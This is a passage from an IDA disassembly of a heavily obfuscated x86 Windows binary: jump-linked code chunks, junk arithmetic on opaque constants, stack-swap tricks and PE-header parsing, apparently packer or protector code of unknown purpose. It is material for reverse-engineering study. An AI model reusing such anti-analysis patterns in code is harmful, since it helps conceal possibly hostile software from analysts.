; FUNCTION CHUNK AT 0042AACF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042E93F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F442 SIZE 00000004 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	[ebp-4], eax
		inc	dword ptr [ebp-8]
		dec	dword ptr [ebp-0Ch]
		jmp	loc_42AACF
sub_42C369	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42C37C:				; CODE XREF: sub_4291EA+1920j
		jmp	loc_42BD6D
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E695


loc_42C381:				; CODE XREF: sub_42E695+7j
		mov	eax, ds:dword_42BC38
		or	eax, eax
		jnz	loc_42F1B1
		jmp	loc_424B2A
; END OF FUNCTION CHUNK	FOR sub_42E695
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42C394:				; CODE XREF: sub_42C443+588j
		call	sub_424D65


loc_42C399:				; CODE XREF: sub_42EBFB+23j
		jmp	loc_42A2A2
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------


loc_42C39E:				; CODE XREF: _7hdaygc1:loc_429054j
		mov	al, [eax]
		add	[ebp-0Ah], al
		xor	eax, eax
		mov	al, [ebp-0Ah]
		shr	eax, 4
		xor	[ebp-0Ah], al
		jmp	loc_42E5EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42874A


loc_42C3B3:				; CODE XREF: sub_42874A:loc_4236A9j
		jge	loc_429622
; END OF FUNCTION CHUNK	FOR sub_42874A
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42C3B9:				; CODE XREF: sub_42F65A-98A9j
		jmp	loc_42F0E9
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
		js	loc_42E242
		add	ebp, 9E68A23Dh
		jmp	loc_429620
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D757


loc_42C3CF:				; CODE XREF: sub_42D757:loc_42E814j
		mov	eax, offset dword_427C94
		call	sub_427D8E
		call	sub_42ABF7


loc_42C3DE:				; CODE XREF: _7hdaygc1:0042ECE0j
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_42D757
; ---------------------------------------------------------------------------


loc_42C3E3:				; CODE XREF: _7hdaygc1:0042ABD3j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_42C3E4	proc near		; CODE XREF: sub_42C1AF-71Ap

; FUNCTION CHUNK AT 0042A243 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B67E SIZE 00000011 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	[ebp-8], edx
		jmp	loc_42A243
sub_42C3E4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 6
		mov	ds:dword_4246B4, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_42C3FB:				; CODE XREF: sub_42C50D+3880j
		jmp	loc_42A12E
; END OF FUNCTION CHUNK	FOR sub_42C50D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C26B


loc_42C400:				; CODE XREF: sub_42C26B+11j
		jmp	loc_423C38
; END OF FUNCTION CHUNK	FOR sub_42C26B

; =============== S U B	R O U T	I N E =======================================



sub_42C405	proc near		; CODE XREF: sub_42EB2Cj

; FUNCTION CHUNK AT 0042CA03 SIZE 0000000C BYTES

		push	ebx
		jmp	loc_42CA03
sub_42C405	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_42C40B:				; CODE XREF: sub_4273CA-3904j
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_42B644
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		jmp	loc_42F48C
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E347


loc_42C427:				; CODE XREF: sub_42E347+18j
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		jmp	loc_425F81
; END OF FUNCTION CHUNK	FOR sub_42E347
; ---------------------------------------------------------------------------

locret_42C433:				; CODE XREF: _7hdaygc1:00428D45j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42C434:				; CODE XREF: sub_423DFC+A81Bj
		jmp	loc_429850
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42C439:				; CODE XREF: sub_42AA47:loc_42E77Ej
		push	offset loc_4287C2
		jmp	nullsub_125
; END OF FUNCTION CHUNK	FOR sub_42AA47

; =============== S U B	R O U T	I N E =======================================



sub_42C443	proc near		; CODE XREF: _7hdaygc1:0042700Dj
					; sub_42BAE7+2FAAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042340B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042358F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004239BA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00423F15 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042454B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00424AA3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424EDA SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00425687 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426245 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042642A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00427088 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00427D4F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0042876A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004287A1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004293C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042985B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429BF7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A2A2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042A9D3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042ABF0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B362 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042BF45 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C394 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042C9BC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042CD34 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CDC2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042CF6F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042CF92 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042D2D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D88A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042D974 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042E04C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E8CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042EBAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EF15 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F235 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F411 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042F7FD SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042FA52 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		jnz	loc_427D5D
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		jmp	loc_427D4F
sub_42C443	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD68


loc_42C45B:				; CODE XREF: sub_42FD68-A5E1j
		pushf
		sbb	ecx, eax


loc_42C45E:				; CODE XREF: sub_42FD68-A5EFj
		add	ecx, 911D7B60h
		xchg	ecx, [esp+4+var_4]
		jmp	sub_42D471
; END OF FUNCTION CHUNK	FOR sub_42FD68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42C46C:				; CODE XREF: sub_426130:loc_42D0CAj
		jnz	loc_4235C0


loc_42C472:				; CODE XREF: sub_42F967+7j
		jmp	sub_428C3B
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425D65


loc_42C477:				; CODE XREF: sub_425D65+7B63j
		jmp	loc_42E802
; END OF FUNCTION CHUNK	FOR sub_425D65
; ---------------------------------------------------------------------------


loc_42C47C:				; CODE XREF: _7hdaygc1:00425B30j
		jmp	locret_42561E
; ---------------------------------------------------------------------------
		add	ebx, 3618D0DDh
		jmp	loc_4235A8

; =============== S U B	R O U T	I N E =======================================



sub_42C48C	proc near		; CODE XREF: sub_42A104-461Bp
					; _7hdaygc1:00428F90j

; FUNCTION CHUNK AT 0042589C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042A4F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B0D4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042C0B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E238 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042F5F3 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		jmp	loc_42C0B7
sub_42C48C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	eax, edi
		jmp	sub_42D01B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42567E


loc_42C4A2:				; CODE XREF: sub_42567E+8D09j
		ja	loc_42D902
		jmp	loc_42DA52
; END OF FUNCTION CHUNK	FOR sub_42567E
; ---------------------------------------------------------------------------
		xchg	esi, [edi]
		jmp	sub_42E481
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A92E


loc_42C4B4:				; CODE XREF: sub_42A92E:loc_42ED9Ej
		xchg	eax, esi
		jle	loc_425673
		jmp	sub_42DAF7
; END OF FUNCTION CHUNK	FOR sub_42A92E
; ---------------------------------------------------------------------------


loc_42C4C1:				; DATA XREF: sub_42B74A-4760o
		add	ebx, 26F474D1h
		mov	[ebx], eax
		pop	ebx
		push	400h
		jmp	loc_42DB08
; ---------------------------------------------------------------------------
		mov	edx, 17B3C1CFh
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42C4D9:				; CODE XREF: sub_424F62:loc_42CF2Aj
		call	sub_42C1AF
		push	eax
		ror	eax, 6
		mov	ds:dword_4246B4, eax
		jmp	nullsub_157
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42616B


loc_42C4ED:				; CODE XREF: sub_42616B:loc_4280E8j
		or	eax, eax
		jnz	loc_424053
		jmp	loc_426658
; END OF FUNCTION CHUNK	FOR sub_42616B
; ---------------------------------------------------------------------------
		call	sub_428C3B
		mov	[ebp-0Ch], eax
		rol	eax, 8
		mov	[ebp-10h], eax
		jmp	loc_42BC78

; =============== S U B	R O U T	I N E =======================================



sub_42C50D	proc near		; CODE XREF: sub_4268D9-F29j
					; sub_42936E+6725p

var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423873 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00423D3A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00424F50 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00425D16 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A12E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042BC28 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042C34A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042C3FB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CD19 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042CDE7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E771 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042F5A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FD87 SIZE 0000000B BYTES

		jno	loc_42F5A2
		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+0]
		push	ebp
		add	ecx, 0F05B0D45h


loc_42C520:				; CODE XREF: _7hdaygc1:00425F21j
		jmp	loc_423873
sub_42C50D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	ecx, 8EE9DB78h
		jmp	loc_42BBC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BFC


loc_42C530:				; CODE XREF: sub_425BFC:loc_42F36Dj
		jnz	loc_42C543
		call	sub_42D2E7
		or	eax, eax
		jnz	nullsub_120


loc_42C543:				; CODE XREF: _7hdaygc1:loc_427001j
					; sub_425BFC:loc_42C530j
		call	sub_42AFB3
		jmp	loc_4246BD
; END OF FUNCTION CHUNK	FOR sub_425BFC
; ---------------------------------------------------------------------------


loc_42C54D:				; DATA XREF: sub_42CDF7-818Do
		pop	ebx
		pop	ebx
		xchg	edi, [esp]
		mov	ecx, edi
		xchg	ebx, [esp]
		mov	edi, ebx
		pop	ebx
		pop	ecx
		jmp	loc_42BDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429412


loc_42C560:				; CODE XREF: sub_429412-29FAj
					; sub_429412+11j
		rol	ebx, 11h
		add	ebx, 0F92F7E64h
		add	ebx, ebp
		add	ebx, 13AF0834h
		push	offset loc_42351E
		jmp	loc_42FC9B
; END OF FUNCTION CHUNK	FOR sub_429412
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_42C57B:				; CODE XREF: _7hdaygc1:0042AF4Dj
					; sub_42D9E1:loc_42C6BFj
		xor	edx, 4F648490h
		rol	edx, 15h
		test	edx, 400000h
		jmp	loc_42A0D6
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; ---------------------------------------------------------------------------
		sbb	esi, edi
		jmp	loc_42EEC8
; ---------------------------------------------------------------------------


loc_42C596:				; CODE XREF: _7hdaygc1:004271E8j
		add	ebx, 56E65D54h
; START	OF FUNCTION CHUNK FOR sub_42A92E


loc_42C59C:				; CODE XREF: sub_42A92E:loc_4271C2j
		add	eax, 94721A23h
		add	eax, ebp
		add	eax, 0E78DE427h
		mov	[eax], ebx
		jmp	loc_42B255
; END OF FUNCTION CHUNK	FOR sub_42A92E
; ---------------------------------------------------------------------------


loc_42C5B1:				; DATA XREF: sub_42EBD6-4DAo
		push	4F4A9F38h
		pop	esi
		and	esi, 16B125CAh
		add	esi, 0F9FFD8F7h
		and	edx, esi
		pop	esi
		xor	[esi], edx
		mov	eax, 80000000h
		jmp	loc_423AF1
; ---------------------------------------------------------------------------


loc_42C5D2:				; CODE XREF: _7hdaygc1:loc_428F07j
		rol	eax, 19h
		jmp	loc_42C8F0
; ---------------------------------------------------------------------------


loc_42C5DA:				; CODE XREF: _7hdaygc1:004287BDj
		add	ebx, 65B383D1h
		cmp	ebx, 7FE2908h
		jmp	loc_4254AA
; ---------------------------------------------------------------------------


loc_42C5EB:				; DATA XREF: sub_4232DA+644Co
		add	eax, 0B18378FDh
		push	offset sub_4269CB
		jmp	locret_4241F2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B470


loc_42C5FC:				; CODE XREF: sub_42B470+430Dj
		jmp	loc_428C0B
; END OF FUNCTION CHUNK	FOR sub_42B470
; ---------------------------------------------------------------------------


loc_42C601:				; CODE XREF: _7hdaygc1:0042A44Fj
		cmp	esi, 0F32E4AFEh
		jmp	loc_42EF8B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42C60D:				; CODE XREF: sub_424F62:loc_429F4Dj
		jmp	loc_426FC2
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------


loc_42C612:				; CODE XREF: _7hdaygc1:loc_42F7F8j
		xchg	ebx, [esp]
		jmp	sub_427D8E
; ---------------------------------------------------------------------------
		cmp	ds:dword_42BC60, 0
		jnz	loc_42E978
		jmp	loc_42E03C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42C62C:				; CODE XREF: sub_42C16F:loc_4280CAj
		or	edx, 0CE9BAF93h
		xor	edx, 98DC5CC3h
		sub	edx, 956FA0A6h
		xor	edx, 78CBB0DDh
		add	edx, ebp
		add	edx, 36CC0D45h
		mov	edx, [edx]
		add	[edx], eax


loc_42C650:				; CODE XREF: sub_42567E:loc_42D8FCj
		jmp	loc_426157
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------


loc_42C655:				; CODE XREF: _7hdaygc1:loc_42505Bj
		shl	esi, 8
		jmp	loc_42AA1F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_42C65E:				; CODE XREF: sub_4232DA+D98j
		ja	loc_42BF64
		jmp	loc_428137
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_42C669:				; CODE XREF: sub_42B74A:loc_427CC1j
		test	eax, eax
		jz	loc_424BDD
		jmp	loc_426484
; END OF FUNCTION CHUNK	FOR sub_42B74A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42C677:				; CODE XREF: _7hdaygc1:0042C9E5j
		jz	loc_42C15D

; =============== S U B	R O U T	I N E =======================================



sub_42C67D	proc near		; CODE XREF: _7hdaygc1:00428210p
		xchg	eax, [esp+0]
		pop	eax
		push	eax
		jmp	loc_426A53
sub_42C67D	endp

; ---------------------------------------------------------------------------


loc_42C687:				; DATA XREF: _7hdaygc1:0042D9AEo
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	edx, [esp]
		mov	ebp, edx
		jmp	loc_42520C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C763


loc_42C696:				; CODE XREF: sub_42C763:loc_42EB7Fj
		call	sub_4253A0


loc_42C69B:				; CODE XREF: sub_42CDF7+B78j
		jmp	sub_42B942
; END OF FUNCTION CHUNK	FOR sub_42C763

; =============== S U B	R O U T	I N E =======================================



sub_42C6A0	proc near		; CODE XREF: sub_42E1F1+Ap
					; _7hdaygc1:0042F51Dj

; FUNCTION CHUNK AT 00423CC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A0F2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A77E SIZE 00000008 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_423CC7
sub_42C6A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E51C


loc_42C6AC:				; CODE XREF: sub_42E51C:loc_42FA7Cj
		test	byte ptr [ebp-8], 40h
		jz	loc_42A77E
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_42A775
; END OF FUNCTION CHUNK	FOR sub_42E51C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_42C6BF:				; CODE XREF: sub_42D9E1-3ECDj
		jge	loc_42C57B
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; START	OF FUNCTION CHUNK FOR sub_42CFDA


loc_42C6C5:				; CODE XREF: sub_42CFDA+Bj
		jmp	loc_429571
; END OF FUNCTION CHUNK	FOR sub_42CFDA
; ---------------------------------------------------------------------------
		test	edx, ecx
		jmp	loc_42E100
; ---------------------------------------------------------------------------


loc_42C6D1:				; CODE XREF: _7hdaygc1:00425CC1j
		popf
		jle	loc_42E3FB
		sbb	ebx, eax
		cmp	ecx, eax
		jmp	loc_42FDAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42C6E1:				; CODE XREF: sub_4291EA:loc_42A1F5j
		mov	ebp, edx
		pop	edx
		push	14A46CAFh
		pop	eax
		sub	eax, 0DC6F7BC0h
		cmp	eax, 50DC95BAh
		jmp	loc_42F974
; END OF FUNCTION CHUNK	FOR sub_4291EA

; =============== S U B	R O U T	I N E =======================================



sub_42C6FB	proc near		; CODE XREF: sub_42E076-8CB1p
					; _7hdaygc1:0042AC9Dj

; FUNCTION CHUNK AT 00423B47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425AAF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042A740 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-4]
		mov	eax, [eax]
		cmp	eax, [ebp-0Ch]
		jz	loc_4270F0
		jmp	loc_423B47
sub_42C6FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42C712	proc near		; CODE XREF: _7hdaygc1:00423B56j
					; sub_424E1F+Fp

; FUNCTION CHUNK AT 0042B20D SIZE 00000021 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	eax
		ror	eax, 8


loc_42C71A:				; CODE XREF: _7hdaygc1:loc_42F7F3j
		push	ecx
		push	1B82C966h
		jmp	loc_42B20D
sub_42C712	endp

; ---------------------------------------------------------------------------


loc_42C725:				; DATA XREF: sub_42409E:loc_42EA9Bo
		call	nullsub_218
; START	OF FUNCTION CHUNK FOR sub_42BE7D


loc_42C72A:				; CODE XREF: sub_42BE7D+4j
					; sub_4240B0+B34Aj
		mov	eax, ds:dword_427CA0
		mov	[ebp-4], eax
		mov	eax, offset dword_427C94
		call	sub_42DBEA
		mov	eax, [ebp-4]
		mov	esp, ebp
		jmp	loc_42DBE8
; END OF FUNCTION CHUNK	FOR sub_42BE7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425735


loc_42C746:				; CODE XREF: sub_425735+8F7Dj
		jnz	loc_42BB26
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jmp	loc_42B7FB
; ---------------------------------------------------------------------------


loc_42C757:				; CODE XREF: sub_425735:loc_42BB26j
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		jmp	loc_42F9E0
; END OF FUNCTION CHUNK	FOR sub_425735

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C763	proc near		; CODE XREF: sub_423144+5p
					; sub_423144+19p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042C696 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042EB7F SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jns	sub_42EB24
		add	esp, 0FFFFFFE4h


loc_42C76F:				; CODE XREF: sub_42AA9B:loc_42ED11j
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		mov	[ebp+var_C], eax
		jmp	loc_42EB7F
sub_42C763	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426BF7


loc_42C77F:				; CODE XREF: sub_426BF7:loc_4293B5j
		mov	eax, [eax]
		dec	eax
		call	sub_42BAD5


loc_42C787:				; CODE XREF: sub_42ECAF+14j
		test	al, al
		jnz	loc_42D0D5
; END OF FUNCTION CHUNK	FOR sub_426BF7
; START	OF FUNCTION CHUNK FOR sub_424B63


loc_42C78F:				; CODE XREF: sub_424B63+4j
					; sub_42E1F1:loc_42C025j ...
		pop	ecx
		pop	ecx
		pop	ebp
		jmp	loc_42694D
; END OF FUNCTION CHUNK	FOR sub_424B63
; ---------------------------------------------------------------------------


loc_42C797:				; CODE XREF: _7hdaygc1:0042F28Cj
		jnz	loc_42F718
		xchg	edi, [ecx]
		add	ecx, 1375D6BBh
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42C7A5:				; CODE XREF: sub_425E64:loc_42F277j
		and	eax, ds:4000F9h
		add	eax, 0A4C80E62h
		add	eax, ebp
		jmp	loc_42BF51
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------


loc_42C7B8:				; CODE XREF: _7hdaygc1:0042CDB1j
		and	eax, 36CE6763h
		sub	eax, ds:4000F7h
		add	eax, 12BFCF0Fh
		push	offset sub_4240D4
		jmp	locret_428240
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_42C7D4:				; CODE XREF: sub_4273CA:loc_42424Cj
		push	eax
		call	sub_4252F5
		mov	[ebp-4], eax
		jmp	loc_4252E5
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_42C7E2:				; CODE XREF: sub_423DDB:loc_42FC90j
		lea	eax, [ebp-125h]
		push	eax
		call	sub_429FC3
; END OF FUNCTION CHUNK	FOR sub_423DDB
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_42C7EE:				; CODE XREF: sub_42AA07-1D9j
		jmp	loc_42B886
; END OF FUNCTION CHUNK	FOR sub_42AA07

; =============== S U B	R O U T	I N E =======================================



sub_42C7F3	proc near		; CODE XREF: _7hdaygc1:00423775j
					; sub_42F913+9p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423C7A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424202 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042552C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042604B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004265F5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00426C4B SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00429203 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C1C9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042C2AB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042CE1B SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0042DAE5 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042DC0D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042DD3D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E837 SIZE 00000002 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_426CBB
		push	29BAC713h
		pop	edx
		jmp	loc_4265F5
sub_42C7F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425752


loc_42C80B:				; CODE XREF: sub_425752:loc_42C153j
		xor	edi, 23B03CC1h
		and	edi, 0C11E7C88h
		test	edi, 1000h
		jmp	loc_42584B
; END OF FUNCTION CHUNK	FOR sub_425752
; ---------------------------------------------------------------------------


loc_42C822:				; CODE XREF: _7hdaygc1:00426B4Cj
		js	loc_42A112
		cmp	esi, 62438BC3h
		jmp	loc_42CD49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428F69


loc_42C833:				; CODE XREF: sub_428F69+2j
		pop	edx
		xchg	edx, [esp+4+var_4]
		push	offset loc_42A28D
		jmp	nullsub_199
; END OF FUNCTION CHUNK	FOR sub_428F69
; ---------------------------------------------------------------------------


loc_42C841:				; CODE XREF: _7hdaygc1:00423C64j
		call	sub_423D6F
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_42C846:				; CODE XREF: sub_42911B-E3j
		jmp	sub_42F8B9
; END OF FUNCTION CHUNK	FOR sub_42911B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42616B


loc_42C84B:				; CODE XREF: sub_42616B:loc_424058j
		add	edx, 1B6EBACBh
		xchg	edx, [esp+0]
		jmp	loc_42E599
; END OF FUNCTION CHUNK	FOR sub_42616B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E42


loc_42C859:				; CODE XREF: sub_424E42:loc_42ABC4j
		add	edi, 6D4B9877h
		xor	edi, 1ECFF3CDh
		call	sub_4295A2
; END OF FUNCTION CHUNK	FOR sub_424E42
; START	OF FUNCTION CHUNK FOR sub_428A03


loc_42C86A:				; CODE XREF: sub_428A03+2A15j
		jmp	sub_42A94C
; END OF FUNCTION CHUNK	FOR sub_428A03
; ---------------------------------------------------------------------------


loc_42C86F:				; CODE XREF: _7hdaygc1:0042AE45j
		jmp	loc_428C7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429A26


loc_42C874:				; CODE XREF: sub_429A26+Ej
		jmp	loc_42E648
; END OF FUNCTION CHUNK	FOR sub_429A26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4268BD


loc_42C879:				; CODE XREF: sub_4268BD+10j
		jmp	loc_424BB7
; END OF FUNCTION CHUNK	FOR sub_4268BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8C4


